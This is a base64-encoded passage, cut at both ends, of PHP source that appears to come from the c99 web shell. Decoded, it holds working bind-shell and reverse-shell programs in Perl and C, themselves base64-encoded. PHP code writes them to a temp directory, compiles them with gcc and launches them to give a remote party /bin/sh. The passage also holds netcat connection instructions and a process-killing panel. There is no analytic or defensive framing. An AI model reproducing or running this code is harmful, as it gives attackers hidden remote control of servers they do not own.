bGVjdGVkOjwvb3B0aW9uPiI7DQogIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIiIuZ2NoZHMoJGRzcGFjdCwiZGVsZXRlIiwiIHNlbGVjdGVkIikuIj5EZWxldGU8L29wdGlvbj4iOw0KICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiY2htb2RcIiIuZ2NoZHMoJGRzcGFjdCwiY2htb2QiLCIgc2VsZWN0ZWQiKS4iPkNoYW5nZS1tb2RlPC9vcHRpb24+IjsNCiAgaWYgKCR1c2Vmc2J1ZmYpDQogIHsNCiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJjdXRcIiIuZ2NoZHMoJGRzcGFjdCwiY3V0IiwiIHNlbGVjdGVkIikuIj5DdXQ8L29wdGlvbj4iOw0KICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cImNvcHlcIiIuZ2NoZHMoJGRzcGFjdCwiY29weSIsIiBzZWxlY3RlZCIpLiI+Q29weTwvb3B0aW9uPiI7DQogICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidW5zZWxlY3RcIiIuZ2NoZHMoJGRzcGFjdCwidW5zZWxlY3QiLCIgc2VsZWN0ZWQiKS4iPlVuc2VsZWN0PC9vcHRpb24+IjsNCiAgfQ0KICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvcD4iOw0KICBlY2hvICI8L2Zvcm0+IjsNCiB9DQp9DQppZiAoJGFjdCA9PSAiYmluZCIpDQp7DQogJGJuZHNyY3MgPSBhcnJheSgNCiJjOTlzaF9iaW5kcG9ydC5wbCI9Pg0KIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwcFppQW9RRUZTUjFZZ1BDQXhLU0I3WlhocGRDZ3hLVHQ5RFFva2NHOXlkQ0E5SUNSQlVrZFciLg0KIld6QmRPdzBLWlhocGRDQnBaaUJtYjNKck93MEtKREFnUFNBaWRYQmtZWFJsWkdJaUlDNGdJaUFpSUhneE1EQTdEUW9rVTBsSGUwTkkiLg0KIlRFUjlJRDBnSjBsSFRrOVNSU2M3RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNJRkJHWDBsT1JWUXNJRk5QUTB0ZlUxUlMiLg0KIlJVRk5MQ0F3S1RzTkNuTmxkSE52WTJ0dmNIUW9VeXdnVTA5TVgxTlBRMHRGVkN3Z1UwOWZVa1ZWVTBWQlJFUlNMQ0F4S1RzTkNtSnAiLg0KImJtUW9VeXdnYzI5amEyRmtaSEpmYVc0b0pIQnZjblFzSUVsT1FVUkVVbDlCVGxrcEtUc05DbXhwYzNSbGJpaFRMQ0ExTUNrN0RRcGgiLg0KIlkyTmxjSFFvV0N4VEtUc05DbTl3Wlc0Z1UxUkVTVTRzSUNJOEpsZ2lPdzBLYjNCbGJpQlRWRVJQVlZRc0lDSStKbGdpT3cwS2IzQmwiLg0KImJpQlRWRVJGVWxJc0lDSStKbGdpT3cwS1pYaGxZeWdpWldOb2J5QmNJbGRsYkdOdmJXVWdkRzhnWXprNWMyaGxiR3doWEhKY2JseHkiLg0KIlhHNWNJaUlwT3cwS2QyaHBiR1VvTVNrTkNuc05DaUJoWTJObGNIUW9XQ3dnVXlrN0RRb2dkVzVzWlhOektHWnZjbXNwRFFvZ2V3MEsiLg0KIklDQnZjR1Z1SUZOVVJFbE9MQ0FpUENaWUlqc05DaUFnYjNCbGJpQlRWRVJQVlZRc0lDSStKbGdpT3cwS0lDQmpiRzl6WlNCWU93MEsiLg0KIklDQmxlR1ZqS0NJdlltbHVMM05vSWlrN0RRb2dmUTBLSUdOc2IzTmxJRmc3RFFwOSIsDQoiYzk5c2hfYmluZHBvcnQuYyI9Pg0KIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjUiLg0KImNHVnpMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE4iLg0KIkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MElHRnlaMk03RFFwamFHRnkiLg0KIklDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjEiLg0KIlkzUWdjMjlqYTJGa1pISmZhVzRnY21WdGIzUmxPdzBLSUdsbUtHWnZjbXNvS1NBOVBTQXdLU0I3SUEwS0lISmxiVzkwWlM1emFXNWYiLg0KIlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOXBLR0Z5WjNaYk1WMHAiLg0KIktUc05DaUJ5WlcxdmRHVXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdJQTBLSUhOdlkydG0iLg0KIlpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGTlBRMHRmVTFSU1JVRk5MREFwT3cwS0lHbG1LQ0Z6YjJOclptUXBJSEJsY25KdmNpZ2kiLg0KImMyOWphMlYwSUdWeWNtOXlJaWs3RFFvZ1ltbHVaQ2h6YjJOclptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLaWttY21WdGIzUmwiLg0KIkxDQXdlREV3S1RzTkNpQnNhWE4wWlc0b2MyOWphMlprTENBMUtUc05DaUIzYUdsc1pTZ3hLUTBLSUNCN0RRb2dJQ0J1WlhkbVpEMWgiLg0KIlkyTmxjSFFvYzI5amEyWmtMREFzTUNrN0RRb2dJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc04iLg0KIkNpQWdJR1IxY0RJb2JtVjNabVFzTWlrN0RRb2dJQ0IzY21sMFpTaHVaWGRtWkN3aVVHRnpjM2R2Y21RNklpd3hNQ2s3RFFvZ0lDQnkiLg0KIlpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3AiLg0KIkRRb2dJQ0J6ZVhOMFpXMG9JbVZqYUc4Z2QyVnNZMjl0WlNCMGJ5QmpPVGx6YUdWc2JDQW1KaUF2WW1sdUwySmhjMmdnTFdraUtUc04iLg0KIkNpQWdJR1ZzYzJVTkNpQWdJR1p3Y21sdWRHWW9jM1JrWlhKeUxDSlRiM0p5ZVNJcE93MEtJQ0FnWTJ4dmMyVW9ibVYzWm1RcE93MEsiLg0KIklDQjlEUW9nZlEwS2ZRMEthVzUwSUdOb2NHRnpjeWhqYUdGeUlDcGlZWE5sTENCamFHRnlJQ3BsYm5SbGNtVmtLU0I3RFFwcGJuUWciLg0KImFUc05DbVp2Y2locFBUQTdhVHh6ZEhKc1pXNG9aVzUwWlhKbFpDazdhU3NyS1NBTkNuc05DbWxtS0dWdWRHVnlaV1JiYVYwZ1BUMGciLg0KIkoxeHVKeWtOQ21WdWRHVnlaV1JiYVYwZ1BTQW5YREFuT3lBTkNtbG1LR1Z1ZEdWeVpXUmJhVjBnUFQwZ0oxeHlKeWtOQ21WdWRHVnkiLg0KIlpXUmJhVjBnUFNBblhEQW5PdzBLZlEwS2FXWWdLQ0Z6ZEhKamJYQW9ZbUZ6WlN4bGJuUmxjbVZrS1NrTkNuSmxkSFZ5YmlBd093MEsiLg0KImZRPT0iLA0KImM5OXNoX2JhY2tjb25uLnBsIj0+DQoiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSiIuDQoiSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WiIuDQoiRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSiIuDQoiSFJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTCIuDQoiQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZCIuDQoiR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYSIuDQoiV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5TyIuDQoiaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUiIuDQoiVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sSyIuDQoiRk5VUkVsT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSIsDQoiYzk5c2hfYmFja2Nvbm4uYyI9Pg0KIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWwiLg0KImRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmsiLg0KIk93MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWJTQXRaaUFpT3lBTkNpQmsiLg0KIllXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGciLg0KImFIUnZibk1vWVhSdmFTaGhjbWQyV3pKZEtTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGgiLg0KImNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISnNaVzRvWVhKbmRsc3kiLg0KIlhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2ciLg0KIkRRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjEiLg0KIlkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1kyOXVibVZqZENncElpazdEUW9nSUNCbGVHbDAiLg0KIktEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW8iLg0KIlptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXBPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2kiLg0KImMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09Ig0KKTsNCiAkYm5kcG9ydHNyY3MgPSBhcnJheSgNCiJjOTlzaF9iaW5kcG9ydC5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlcG9ydCIpLA0KImM5OXNoX2JpbmRwb3J0LmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVwb3J0ICVwYXNzIikNCik7DQogJGJjc3JjcyA9IGFycmF5KA0KImM5OXNoX2JhY2tjb25uLnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVob3N0ICVwb3J0IiksDQoiYzk5c2hfYmFja2Nvbm4uYyI9PmFycmF5KCJVc2luZyBDIiwiJXBhdGggJWhvc3QgJXBvcnQiKQ0KKTsNCiBpZiAoJHdpbikge2VjaG8gIjxiPkJpbmRpbmcgcG9ydCBhbmQgQmFjayBjb25uZWN0OjwvYj48YnI+VGhpcyBmdW5jdGlvbnMgbm90IHdvcmsgaW4gV2luZG93cyE8YnI+PGJyPiI7fQ0KIGVsc2UNCiB7DQogIGlmICghaXNfYXJyYXkoJGJpbmQpKSB7JGJpbmQgPSBhcnJheSgpO30NCiAgaWYgKCFpc19hcnJheSgkYmMpKSB7JGJjID0gYXJyYXkoKTt9DQogIGlmICghaXNfbnVtZXJpYygkYmluZFsicG9ydCJdKSkgeyRiaW5kWyJwb3J0Il0gPSAkYmluZHBvcnRfcG9ydDt9DQogIGlmIChlbXB0eSgkYmluZFsicGFzcyJdKSkgeyRiaW5kWyJwYXNzIl0gPSAkYmluZHBvcnRfcGFzczt9DQogIGlmIChlbXB0eSgkYmNbImhvc3QiXSkpIHskYmNbImhvc3QiXSA9ICRSRU1PVEVfQUREUjt9DQogIGlmICghaXNfbnVtZXJpYygkYmNbInBvcnQiXSkpIHskYmNbInBvcnQiXSA9ICRiaW5kcG9ydF9wb3J0O30NCiAgaWYgKCFlbXB0eSgkYmluZHN1Ym1pdCkpDQogIHsNCiAgIGVjaG8gIjxiPlJlc3VsdCBvZiBiaW5kaW5nIHBvcnQ6PC9iPjxicj4iOw0KICAgJHYgPSAkYm5kcG9ydHNyY3NbJGJpbmRbInNyYyJdXTsNCiAgIGlmIChlbXB0eSgkdikpIHtlY2hvICJVbmtub3duIGZpbGUhPGJyPiI7fQ0KICAgZWxzZWlmIChmc29ja29wZW4oJFNFUlZFUl9BRERSLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsMC4xKSkge2VjaG8gIlBvcnQgYWxyZWR5IGluIHVzZSwgc2VsZWN0IGFueSBvdGhlciE8YnI+Ijt9DQogICBlbHNlDQogICB7DQogICAgJHNyY3BhdGggPSAkdG1wZGlyLiRiaW5kWyJzcmMiXTsNCiAgICAkdyA9IGV4cGxvZGUoIi4iLCRiaW5kWyJzcmMiXSk7DQogICAgJGV4dCA9ICR3W2NvdW50KCR3KS0xXTsNCiAgICB1bnNldCgkd1tjb3VudCgkdyktMV0pOw0KICAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIuIiwkdyk7DQogICAgaWYgKCRleHQgPT0gInBsIikgeyRiaW5wYXRoID0gJHNyY3BhdGg7fQ0KICAgIEB1bmxpbmsoJHNyY3BhdGgpOw0KICAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsNCiAgICBpZiAoISRmcCkge2VjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRibmRzcmNzWyRiaW5kWyJzcmMiXV0pOw0KICAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyAgQHVubGluaygkc3JjcGF0aCk7fQ0KICAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOw0KICAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcG9ydCIsJGJpbmRbInBvcnQiXSwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXNzIiwkYmluZFsicGFzcyJdLCR2WzFdKTsNCiAgICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7DQogICAgICRyZXRiaW5kID0gbXlzaGVsbGV4ZWMoJHZbMV0uIiA+IC9kZXYvbnVsbCAmIik7DQogICAgIHNsZWVwKDUpOw0KICAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwkYmluZFsicG9ydCJdLCRlcnJubywkZXJyc3RyLDUpOw0KICAgICBpZiAoISRzb2NrKSB7ZWNobyAiSSBjYW4ndCBjb25uZWN0IHRvIGxvY2FsaG9zdDoiLiRiaW5kWyJwb3J0Il0uIiEgSSB0aGluayB5b3Ugc2hvdWxkIGNvbmZpZ3VyZSB5b3VyIGZpcmV3YWxsLiI7fQ0KICAgICBlbHNlIHtlY2hvICJCaW5kaW5nLi4uIG9rISBDb25uZWN0IHRvIDxiPiIuJFNFUlZFUl9BRERSLiI6Ii4kYmluZFsicG9ydCJdLiI8L2I+ISBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biBcIjxiPm5jIC12ICIuJFNFUlZFUl9BRERSLiIgIi4kYmluZFsicG9ydCJdLiI8L2I+XCIhPGNlbnRlcj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXBzX2F1eCZncmVwPSIuYmFzZW5hbWUoJGJpbnBhdGgpLiJcIj48dT5WaWV3IGJpbmRlcidzIHByb2Nlc3M8L3U+PC9hPjwvY2VudGVyPiI7fQ0KICAgIH0NCiAgICBlY2hvICI8YnI+IjsNCiAgIH0NCiAgfQ0KICBpZiAoIWVtcHR5KCRiY3N1Ym1pdCkpDQogIHsNCiAgIGVjaG8gIjxiPlJlc3VsdCBvZiBiYWNrIGNvbm5lY3Rpb246PC9iPjxicj4iOw0KICAgJHYgPSAkYmNzcmNzWyRiY1sic3JjIl1dOw0KICAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9DQogICBlbHNlDQogICB7DQogICAgJHNyY3BhdGggPSAkdG1wZGlyLiRiY1sic3JjIl07DQogICAgJHcgPSBleHBsb2RlKCIuIiwkYmNbInNyYyJdKTsNCiAgICAkZXh0ID0gJHdbY291bnQoJHcpLTFdOw0KICAgIHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7DQogICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KTsNCiAgICBpZiAoJGV4dCA9PSAicGwiKSB7JGJpbnBhdGggPSAkc3JjcGF0aDt9DQogICAgQHVubGluaygkc3JjcGF0aCk7DQogICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOw0KICAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3Qgd3JpdGUgc291cmNlcyB0byBcIiIuJHNyY3BhdGguIlwiITxicj4iO30NCiAgICBlbHNlDQogICAgew0KICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoJGJuZHNyY3NbJGJpbmRbc3JjXV0pOw0KICAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyBAdW5saW5rKCRzcmNwYXRoKTt9DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVob3N0IiwkYmNbImhvc3QiXSwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmNbInBvcnQiXSwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOw0KICAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOw0KICAgICBlY2hvICJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJGJjWyJob3N0Il0uIjoiLiRiY1sicG9ydCJdLiIuLi48YnI+IjsNCiAgICB9DQogICB9DQogIH0NCiAgPz48Yj5CaW5kaW5nIHBvcnQ6PC9iPjxicj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImJpbmQiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+UG9ydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJpbmRbcG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBvcnQiXSk7ID8+Ij4mbmJzcDtQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJpbmRbcGFzc10iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBhc3MiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImJpbmRbc3JjXSI+PD9waHANCmZvcmVhY2goJGJuZHBvcnRzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmluZFsic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQ0KPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJiaW5kc3VibWl0IiB2YWx1ZT0iQmluZCI+PC9mb3JtPg0KPGI+QmFjayBjb25uZWN0aW9uOjwvYj48YnI+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJiaW5kIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJiY1tob3N0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmNbImhvc3QiXSk7ID8+Ij4mbmJzcDtQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYmNbcG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJjWyJwb3J0Il0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJiY1tzcmNdIj48P3BocA0KZm9yZWFjaCgkYmNzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmNbInNyYyJdKSB7ZWNobyAiIHNlbGVjdGVkIjt9IGVjaG8gIj4iLiR2WzBdLiI8L29wdGlvbj4iO30NCj8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmNzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L2Zvcm0+DQpDbGljayAiQ29ubmVjdCIgb25seSBhZnRlciBvcGVuIHBvcnQgZm9yIGl0LiBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biAiPGI+bmMgLWwgLW4gLXYgLXAgJmx0O3BvcnQmZ3Q7PC9iPiIhPD9waHANCiB9DQp9DQppZiAoJGFjdCA9PSAicHNfYXV4IikNCnsNCiBlY2hvICI8Yj5Qcm9jZXNzZXM6PC9iPjxicj4iOw0KIGlmICgkd2luKSB7ZWNobyAiVGhpcyBmdW5jdGlvbiBub3Qgd29yayBpbiBXaW5kb3dzITxicj48YnI+Ijt9DQogZWxzZQ0KIHsNCiAgaWYgKCRwaWQpDQogIHsNCiAgIGlmICghJHNpZykgeyRzaWcgPSA5O30NCiAgIGVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiOw0KICAgJHJldCA9IHBvc2l4X2tpbGwoJHBpZCwkc2lnKTsNCiAgIGlmICgkcmV0KSB7ZWNobyAib2suIGhlIGlzIGRlYWQsIGFtZW4uIjt9DQogICBlbHNlIHtlY2hvICJFUlJPUi4iO30NCiAgfQ0KICAkcmV0ID0gbXlzaGVsbGV4ZWMoInBzIC1hdXgiKTsNCiAgaWYgKCEkcmV0KSB7ZWNobyAiQ2FuJ3QgZXhlY3V0ZSBcInBzIC1hdXhcIiEiO30NCiAgZWxzZQ0KICB7DQogICAkcmV0ID0gaHRtbHNwZWNpYWxjaGFycygkcmV0KTsNCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fQ0KICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOw0KICAgdW5zZXQoJHN0YWNrWzBdKTsNCiAgIGlmIChlbXB0eSgkcHNfYXV4X3NvcnQpKSB7JHBzX2F1eF9zb3J0ID0gJHNvcnRfZGVmYXVsdDt9DQogICBpZiAoIWlzX251bWVyaWMoJHBzX2F1eF9zb3J0WzBdKSkgeyRwc19hdXhfc29ydFswXSA9IDA7fQ0KICAgJGsgPSAkcHNfYXV4X3NvcnRbMF07DQogICBpZiAoJHBzX2F1eF9zb3J0WzFdICE9ICJhIikgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwc19hdXhfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2Rlc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9DQogICBlbHNlIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHNfYXV4X3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9DQogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykNCiAgIHsNCiAgICBpZiAoJGkgIT0gJGspIHskaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnBzX2F1eF9zb3J0PSIuJGkuJHBzX2F1eF9zb3J0WzFdLiJcIj48Yj4iLiRoZWFkWyRpXS4iPC9iPjwvYT4iO30NCiAgIH0NCiAgICRwcmNzID0gYXJyYXkoKTsNCiAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkNCiAgIHsNCiAgICBpZiAoIWVtcHR5KCRsaW5lKSkNCgl7DQoJIGVjaG8gIjx0cj4iOw0KICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsNCiAgICAgJGxpbmVbMTBdID0gam9pbigiICIsYXJyYXlfc2xpY2UoJGxpbmUsMTAsY291bnQoJGxpbmUpKSk7DQogICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7DQogICAgIGlmICgkbGluZVswXSA9PSBnZXRfY3VycmVudF91c2VyKCkpIHskbGluZVswXSA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+Ii4kbGluZVswXS4iPC9mb250PiI7fQ0KICAgICAkbGluZVtdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHNfYXV4JmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMV0uIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7DQogICAgICRwcmNzW10gPSAkbGluZTsNCiAgICAgZWNobyAiPC90cj4iOw0KICAgIH0NCiAgIH0NCiAgICRoZWFkWyRrXSA9ICI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7DQogICAkaGVhZFtdID0gIjxiPkFDVElPTjwvYj4iOw0KICAgJHYgPSAkcHNfYXV4X3NvcnRbMF07DQogICB1c29ydCgkcHJjcywidGFic29ydCIpOw0KICAgaWYgKCRwc19hdXhfc29ydFsxXSA9PSAiZCIpIHskcHJjcyA9IGFycmF5X3JldmVyc2UoJHByY3MpO30NCiAgICR0YWIgPSBhcnJheSgpOw0KICAgJHRhYltdID0gJGhlYWQ7DQogIC